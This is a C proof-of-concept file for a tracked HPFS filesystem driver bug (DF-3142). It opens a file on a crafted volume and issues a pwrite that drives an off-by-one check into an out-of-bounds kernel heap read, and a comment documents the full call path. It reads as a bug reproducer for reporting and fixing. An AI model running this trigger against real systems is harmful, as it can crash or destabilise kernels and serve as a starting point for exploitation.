DF-3142 / poc.c
/* * DF-3142 -- extend the file whose single leaf is {al_off:0, al_len:2, * al_lsn:0x3FFE} on a volume with su_btotal = 0x4000 (exact band * multiple). pwrite at offset 1024 -> hpfs_write -> hpfs_extend -> * hpfs_addextent append branch (hpfs_alsubr.c:427-436) -> * hpfs_bmlookup(hpmp, 0, alp->al_lsn + alp->al_len = 0x4000 == * su_btotal, ...) -> off-by-one `lsn > su_btotal` check passes -> * probe reads hpm_bitmap[512] -- one word past the 2048-byte kmalloc. * * We _exit() without close() (the close-path fnode writeback is * DF-3141's separate bug; the probe happens during pwrite). */ #include <fcntl.h> #include <stdio.h> #include <string.h> #include <unistd.h> int main(int argc, char **argv) { const char *mp = argc > 1 ? argv[1] : "/tmp/hpfsmp"; char path[512], buf[512]; int fd, r; snprintf(path, sizeof(path), "%s/FILE", mp); fd = open(path, O_RDWR); if (fd < 0) { perror("open FILE"); return 1; } printf("open FILE ok (fnode LSN 0x48, leaf {0,2,0x3FFE})\n"); memset(buf, 0x41, sizeof(buf)); r = (int)pwrite(fd, buf, 512, 1024); /* extend 1024 -> 1536 */ printf("pwrite extend = %d\n", r); fflush(stdout); printf("done -- check console/dmesg for the DF3142 OOB PROBE line\n"); fflush(stdout); _exit(r == 512 ? 0 : 1); /* deliberately no close() */ } |